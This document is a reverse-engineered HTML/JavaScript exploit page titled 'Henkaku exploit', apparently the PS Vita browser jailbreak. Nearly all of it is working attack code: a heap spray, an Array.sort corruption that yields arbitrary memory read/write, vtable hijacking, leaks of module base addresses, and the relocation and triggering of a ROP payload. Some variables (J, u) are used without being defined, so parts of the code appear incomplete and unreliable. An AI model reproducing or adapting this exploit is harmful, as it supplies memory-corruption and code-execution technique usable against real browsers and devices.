Henkaku exploit - HTML reversed

<script src='payload.js'></script>

<script>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;

var m = 0x40 + payload[16/4];  /* 0x40 bytes for ROP header + 1840 bytes for stack*/
m /= 4;			       /* 476 */

var _dview = null;

/*
    Wrap two uint32s into double precision
*/
function u2d(low, hi)
{
  if (!_dview)
    _dview = new DataView(new ArrayBuffer(16));

  _dview.setUint32(0, hi);
  _dview.setUint32(4, low);
  return _dview.getFloat64(0)
}

/*
    Unwrap uints from double
*/
function d2u(d)
{
   if (!_dview)
     _dview = new DataView(new ArrayBuffer(16));

   _dview.setFloat64(0, d);
   return {low:_dview.getUint32(4),hi:_dview.getUint32(0)}
}

// Temporary space to store Element object
var aspace_temp = new Uint32Array(1024);

var word1 = 0;
var word2 = 0;

function swap(offset)
{
  word1 = aspace32[offset/4];
  word2 = aspace32[offset/4 + 1];
  return((word1 & 0xFFF | (word1 & 0xF0000) >> 4) & 0xFFFF | ((word2 & 0xFFF | (word2 & 0xF0000) >> 4) & 0xFFFF) << 16) >>> 0
}

r = 0x4000;
textareas = new Array(r);
aspace_arr = new Array(r);
t = 0x1344;
n = 0x66656463;
o = 0x55555555;


for (var i = 0; i < aspace_arr.length; ++i)
{
  aspace_arr[i] = new Uint32Array(0x1344/4);
  var e = document.createElement("textarea");
  e.rows = 0x66656463;
  textareas[i] = e;
}

/*
   Spray memory with Element objects
*/
for (var i = 0; i < 1024; ++i)
{
  var e = document.createElement("textarea");
  e.rows = 0x66656463;
  textareas.push(e);
}

var N = 0x3000;
var W = Array.prototype.constructor.apply(null,new Array(0x3000));
var j = 2048;
var q = new Array(2048);
var z = {};

var C = new Array(256);

z.toString = function()
             {
               W.push(12345);

               for (var r = 0; r < C.length; ++r)
               {
                 var a = Array.prototype.constructor.apply(null, q);
                 a[0] = 0;
                 a[1] = 1;
                 a[2] = 2;
                 C[r] = a;
               } return""
             };

W[0] = z;
var G = u2d(0x80000000, 0x80000000);

for (var i = 1; i < 8192; ++i)
  W[i] = G;

W.sort();
contents = "";
cur = 0;

z.toString = function(){};

var I = null;

for (var i = 0; i < C.length; ++i)
{
  if(C[i].length != j)
  {
    I = C[i];
    break;
  }
}

var count = 0x20000000 - 0x11000;

for(; ; count--)
{
  if(I[count] != 0)
  {
    _dview.setFloat64(0, I[J]);

    if (_dview.getUint32(0) == t/4)
    {
      _dview.setUint32(0, 0xEFFFFFE0);

      I[J] = _dview.getFloat64(0);
      _dview.setFloat64(0, I[J - 2]);

      v = _dview.getUint32(4);
      _dview.setUint32(4, 0);
      _dview.setUint32(0, 0x80000000);

      I[J-2] = _dview.getFloat64(0);

      break;
    }
  }
}

target_aspace = null;

for (var i = 0; i < aspace_arr.length; ++i)
{
  if(aspace_arr[i].byteLength != t)
  {
    target_aspace = aspace_arr[i];
    break;
  }
}

if (!target_aspace)
{
  alert("failed");
  while(1){};
}

var aspace32 = target_aspace;
var fkvtable = v;
f = v;

/*
   Find one of the sprayed Element objects in memory
   by looking for the rows of the object
*/

for (var addr = f/4; addr < f/4 + 0x4000; ++addr)
{
  if (aspace32[addr] == 0x66656463)
  {
    aspace32[addr] = 0x55555555;
    textarea_addr = addr * 4;
    found_element = true;
    break;
  }
}

if (!found_element)
{
  alert("Did not find Element signature");
  while(1){};
}

/*
   Change the rows of the Element object then scan the array of
   sprayed objects to find an object whose rows have been changed
*/

var found_corrupted = false;
var corrupted_textarea;

for (var i = 0; i < textareas.length; ++i)
{
  if(textareas[i].rows == 0x55555555)
  {
    corrupted_textarea = textareas[i];
    found_corrupted = true;
    break;
  }
}

if (!found_corrupted)
{
  alert("Did not find corrupted textarea");
  while(1){};
}

var vtidx = textarea_addr - 0x70;
var textareavptr = aspace32[vtidx/4];
scewkbase = textareavptr - 0xABB65C;
scelibcbase = swap(scewkbase + 0x85F504) - 0xFA49;
scekernbase = swap(scewkbase + 0x85F464) - 0x9031;
p = swap(scewkbase + 0x85D2E4) - 0x22D65;
d = swap(p + 0x2C688C) - 0x9E5;
g = swap(d + 0x3BC4) - 0xDC2D;
scenetbase = swap(scewkbase + 0x85F414) - 0x23ED;
k = swap(g + 0x18BF4) - 0xD59;
b = swap(k + 0x9AB8) - 0x49CD;

// Copy vtable
for (var i = 0; i < 64; i++)
  aspace32[fkvtable/4 + i] = aspace32[textareavptr/4 + i];

aspace32[vtidx/4] = fkvtable;

// Save Element object
for (var i = 0; i < 0x30; ++i)
  aspace_temp[i] = aspace32[vtidx/4 + i];

// Call setjmp
aspace32[fkvtable/4 + 0x4E] = scelibcbase + 0x14070|1;

// Undefine scrollLeft
corrupted_textarea.scrollLeft = 0;

// Save payload address (jmp context)
payload_addr = (aspace32[vtidx/4 + 8] ^ (aspace32[vtidx/4 + 9] ^ u + 0x317929) >>> 0) >>> 0;
payload_addr -= 0xEF818;

// Restore Element object
for (var i = 0; i < 0x30; ++i)
  aspace32[vtidx/4 + i] = aspace_temp[i];

payload_stack = payload_addr + 0x40;
payload_code = payload_addr + 0x10000;
payload_off = payload_addr/4;

// Build ROP payload
for (var i = 0; i < payload.length; ++i,++payload_off)
{
  // Reached the end of ROP header (first 0x770 bytes)
  if (i == 476)
    payload_off = payload_code/4;

  switch(relocs[i])
  {
    case 0:
      aspace32[payload_off] = payload[i];
      break;
    case 1:
      aspace32[payload_off] = payload[i] + payload_stack;
      break;
    case 2:
      aspace32[payload_off] = payload[i] + scewkbase;
      break;
    case 3:
      aspace32[payload_off] = payload[i] + scekernbase;
      break;
    case 4:
      aspace32[payload_off] = payload[i] + scelibcbase;
      break;
    case 5:
      aspace32[payload_off] = payload[i] + g;
      break;
    case 6:
      aspace32[payload_off] = payload[i] + scenetbase;
      break;
    case 7:
      aspace32[payload_off] = payload[i] + b;
      break;
    default:
      alert("wtf?");
      alert(i + " " + relocs[i])
   }
}

// Trigger ROPchain
aspace32[fkvtable/4 + 0x4E] = scewkbase + 0x54C8;	/* LDM R1 gadget */

var rchainaddr = fkvtable + 0x100;

aspace32[rchainaddr/4 + 5] = payload_code;
aspace32[rchainaddr/4 + 6] = scewkbase + 0xC048A|1;

alert("Welcome to HENkaku!");

// Set scrollLeft to ROP chain
corrupted_textarea.scrollLeft = rchainaddr;

alert("that's it");
</script>